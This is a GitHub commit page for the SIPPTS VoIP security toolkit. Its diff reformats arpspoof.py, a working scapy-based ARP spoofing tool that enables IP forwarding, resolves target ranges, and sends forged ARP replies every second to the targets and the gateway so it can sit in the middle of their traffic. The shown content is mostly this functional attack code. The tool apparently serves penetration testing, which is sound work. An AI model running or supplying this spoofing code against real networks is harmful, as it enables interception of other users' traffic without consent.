Skip to content

Commit

Permalink
clean code
Browse files Browse the repository at this point in the history
  • Loading branch information
@Pepelux
Pepelux committed Jul 3, 2024
1 parent 2d73963 commit 8b283b4
Show file tree
Hide file tree
Showing 25 changed files with 9,256 additions and 4,631 deletions.
366 changes: 320 additions & 46 deletions bin/sippts
View file

Large diffs are not rendered by default.

173 changes: 99 additions & 74 deletions src/sippts/arpspoof.py
View file
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

__author__ = 'Jose Luis Verdeguer'
__version__ = '4.0'
__author__ = "Jose Luis Verdeguer"
__version__ = "4.0"
__license__ = "GPL"
__copyright__ = "Copyright (C) 2015-2022, SIPPTS"
__copyright__ = "Copyright (C) 2015-2024, SIPPTS"
__email__ = "pepeluxx@gmail.com"


Expand All @@ -17,96 +17,102 @@
import platform
import socket
from IPy import IP
from .lib.functions import get_machine_default_ip, ip2long, get_default_gateway_linux, get_default_gateway_mac, enable_ip_route, disable_ip_route, ip2long, long2ip
from .lib.functions import (
get_machine_default_ip,
ip2long,
get_default_gateway_linux,
get_default_gateway_mac,
enable_ip_route,
disable_ip_route,
ip2long,
long2ip,
)
from .lib.color import Color
from .lib.logos import Logo


class ArpSpoof:
def __init__(self):
self.ip = '-'
self.gw = ''
self.verbose = '0'
self.file = ''
self.ip = "-"
self.gw = ""
self.verbose = "0"
self.file = ""
self.ips = []
self.dropped_ips = []

self.run = True

self.c = Color()

# def __del__(self):
# print("I'm being automatically destroyed. Goodbye!")

def signal_handler(self, sig, frame):
print(self.c.BYELLOW + 'You pressed Ctrl+C!\n' + self.c.WHITE)
print(self.c.BWHITE + 'Restoring ARP tables ...')
print(f"{self.c.BYELLOW}You pressed Ctrl+C!\n{self.c.WHITE}")
print(f"{self.c.BWHITE}Restoring ARP tables ...")
print(self.c.WHITE)

self.stop()

def start(self):
# current_user = os.getlogin()
current_user = os.popen('whoami').read()
current_user = os.popen("whoami").read()
current_user = current_user.strip()
ops = platform.system()

if self.verbose == None:
self.verbose = 0

if ops == 'Linux' and current_user != 'root':
print(self.c.WHITE + 'You must be ' + self.c.RED +
'root' + self.c.WHITE + ' to use this module')
if ops == "Linux" and current_user != "root":
print(
f"{self.c.WHITE}You must be {self.c.RED}root{self.c.WHITE} to use this module"
)
return

logo = Logo('arpspoof')
logo = Logo("arpspoof")
logo.print()

signal.signal(signal.SIGINT, self.signal_handler)
print(self.c.BYELLOW + '\nPress Ctrl+C to stop')
print(f"{self.c.BYELLOW}\nPress Ctrl+C to stop")
print(self.c.WHITE)

# my IP address
try:
local_ip = get_machine_default_ip()
except:
print(self.c.BRED + 'Error getting local IP')
print(self.c.BWHITE + 'Try with ' + self.c.BYELLOW + '-local-ip' + self.cBWHITE + ' param')
print(f"{self.c.BRED}Error getting local IP")
print(
f"{self.c.BWHITE}Try with {self.c.BYELLOW}-local-ip{self.c.BWHITE} param"
)
print(self.c.WHITE)
exit()

if self.gw == '':
if ops == 'Linux':
if self.gw == "":
if ops == "Linux":
self.gw = get_default_gateway_linux()
if ops == 'Darwin':
if ops == "Darwin":
self.gw = get_default_gateway_mac().strip()

print(self.c.BWHITE + '[✓] Operating System: ' +
self.c.GREEN + '%s' % ops)
print(self.c.BWHITE + '[✓] Current User: ' +
self.c.GREEN + '%s' % current_user)
print(self.c.BWHITE + '[✓] Local IP address: ' +
self.c.GREEN + '%s' % local_ip)
if self.file != '' and self.ip == None:
print(self.c.BWHITE + '[✓] Target IP/range: ' +
self.c.GREEN + 'In file \'%s\'' % self.file)
print(f"{self.c.BWHITE}[✓] Operating System: {self.c.GREEN}{ops}")
print(f"{self.c.BWHITE}[✓] Current User: {self.c.GREEN}{current_user}")
print(f"{self.c.BWHITE}[✓] Local IP address: {self.c.GREEN}{local_ip}")
if self.file != "" and self.ip == None:
print(
f"{self.c.BWHITE}[✓] Target IP/range: {self.c.GREEN}In file '{self.file}"
)
else:
print(self.c.BWHITE + '[✓] Target IP/range: ' +
self.c.GREEN + '%s' % self.ip)
print(self.c.BWHITE + '[✓] Gateway: ' + self.c.GREEN + '%s' % self.gw)
print(f"{self.c.BWHITE}[✓] Target IP/range: {self.c.GREEN}{self.ip}")
print(f"{self.c.BWHITE}[✓] Gateway: {self.c.GREEN}{self.gw}")
print(self.c.WHITE)

enable_ip_route()

if self.file != '':
if self.file != "":
try:
with open(self.file) as f:
line = f.readline()
hosts = []

while (line):
while line:
error = 0
line = line.replace('\n', '')
line = line.replace("\n", "")

try:
if self.run == True:
Expand All @@ -118,56 +124,57 @@ def start(self):
self.ip = IP(line, make_net=True)

except:
if line.find('-') > 0:
val = line.split('-')
if line.find("-") > 0:
val = line.split("-")
start_ip = val[0]
end_ip = val[1]
self.ip = line

error = 1

if error == 0:
hosts = list(ipaddress.ip_network(
str(self.ip)).hosts())
hosts = list(
ipaddress.ip_network(str(self.ip)).hosts()
)

if hosts == []:
hosts.append(self.ip)

last = len(hosts)-1
last = len(hosts) - 1
start_ip = hosts[0]
end_ip = hosts[last]

ipini = int(ip2long(str(start_ip)))
ipend = int(ip2long(str(end_ip)))

for i in range(ipini, ipend+1):
for i in range(ipini, ipend + 1):
if i != local_ip and i != self.gw:
self.ips.append(long2ip(i))
self.ips.append('')
self.ips.append("")
except:
pass

line = f.readline()

f.close()
except:
print('Error reading file %s' % self.file)
print(f"Error reading file {self.file}")
exit()
else:
for i in self.ip.split(','):
for i in self.ip.split(","):
ips = []
hosts = []
error = 0

try:
if i.find('/') < 1:
if i.find("/") < 1:
i = socket.gethostbyname(i)
i = IP(i, make_net=True)
else:
i = IP(i, make_net=True)
except:
if i.find('-') > 0:
val = i.split('-')
if i.find("-") > 0:
val = i.split("-")
start_ip = val[0]
end_ip = val[1]

Expand All @@ -183,26 +190,27 @@ def start(self):
for h in hlist:
hosts.append(h)

last = len(hosts)-1
last = len(hosts) - 1
start_ip = hosts[0]
end_ip = hosts[last]

ipini = int(ip2long(str(start_ip)))
ipend = int(ip2long(str(end_ip)))
iplist = i

for i in range(ipini, ipend+1):
for i in range(ipini, ipend + 1):
if i != local_ip and i != self.gw:
self.ips.append(long2ip(i))
self.ips.append('')
self.ips.append("")

except:
pass

threads = list()

if self.ips == []:
print(self.c.RED + '\nNo IPs found')
print(f"{self.c.RED}\nNo IPs found")
print(self.c.WHITE)
exit()

n = len(self.ips)
Expand All @@ -211,10 +219,13 @@ def start(self):

for x in range(0, n, 2):
ip = self.ips[x]
mac = self.ips[x+1]
mac = self.ips[x + 1]

t = threading.Thread(target=self.start_spoof, args=(
str(ip), self.gw, mac, int(self.verbose)), daemon=True)
t = threading.Thread(
target=self.start_spoof,
args=(str(ip), self.gw, mac, int(self.verbose)),
daemon=True,
)

threads.append(t)
t.start()
Expand All @@ -223,8 +234,8 @@ def start(self):
t.join()

def stop(self):
print(self.c.BWHITE + '\nRestoring ARP tables ...')
print(self.c.BWHITE)
print(f"{self.c.BWHITE}\nRestoring ARP tables ...")
print(self.c.WHITE)

# my IP address
local_ip = get_machine_default_ip()
Expand All @@ -249,8 +260,9 @@ def get_mac(self, ip):
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') /
ARP(pdst=ip), timeout=3, verbose=0)
ans, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=3, verbose=0
)

if ans:
return ans[0][1].src
Expand All @@ -263,37 +275,47 @@ def spoof(self, target_ip, host_ip, target_mac, verbose=1):
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac,
psrc=host_ip, op='is-at')
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op="is-at")
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose == 2:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print(
self.c.YELLOW + "[+] Sent restoring to {} : {} is-at {}".format(target_ip, host_ip, self_mac) + self.c.WHITE)
self.c.YELLOW
+ "[+] Sent restoring to {} : {} is-at {}".format(
target_ip, host_ip, self_mac
)
+ self.c.WHITE
)

def restore(self, target_ip, host_ip, verbose=1):
"""
Restores the normal process of a regular network
This is done by sending the original informations
This is done by sending the original informations
(real IP and MAC of `gw_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = self.get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = self.get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac,
psrc=host_ip, hwsrc=host_mac)
arp_response = ARP(
pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac
)
# sending the restoring packet
# to restore the network to its BWHITE process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose > 0:
print(
self.c.GREEN + "[-] Sent poisoning to {} : {} is-at {}".format(target_ip, host_ip, host_mac) + self.c.WHITE)
self.c.GREEN
+ "[-] Sent poisoning to {} : {} is-at {}".format(
target_ip, host_ip, host_mac
)
+ self.c.WHITE
)

def start_spoof(self, target_ip, gw_ip, target_mac, verbose):
if verbose > 0:
Expand All @@ -304,21 +326,24 @@ def start_spoof(self, target_ip, gw_ip, target_mac, verbose):

if target_mac == None:
print(
self.c.RED + '[!] Error getting the target MAC address for IP: %s' % target_ip + self.c.WHITE)
f"{self.c.RED}[!] Error getting the target MAC address for IP: {target_ip}{self.c.WHITE}"
)
self.dropped_ips.append(target_ip)
return
if gw_mac == None:
print(
self.c.RED + '[!] Error getting the gateway MAC address for IP: %s' % gw_ip + self.c.WHITE)
f"{self.c.RED}[!] Error getting the target MAC address for IP: {gw_ip}{self.c.WHITE}"
)
return

print(self.c.YELLOW + "[+] Start ARP spoof between %s (%s) and %s (%s)" %
(target_ip, target_mac, gw_ip, gw_mac) + self.c.WHITE)
print(
f"{self.c.YELLOW}[+] Start ARP spoof between {target_ip} ({target_mac}) and {gw_ip} ({gw_mac}){self.c.WHITE}"
)

while self.run == True:
# telling the `target` that we are the `gw`
self.spoof(target_ip, gw_ip, target_mac, verbose)
# telling the `gw` that we are the `target`
self.spoof(gw_ip, target_ip, '', verbose)
self.spoof(gw_ip, target_ip, "", verbose)
# sleep for one second
time.sleep(1)
Loading

0 comments on commit 8b283b4

Please sign in to comment.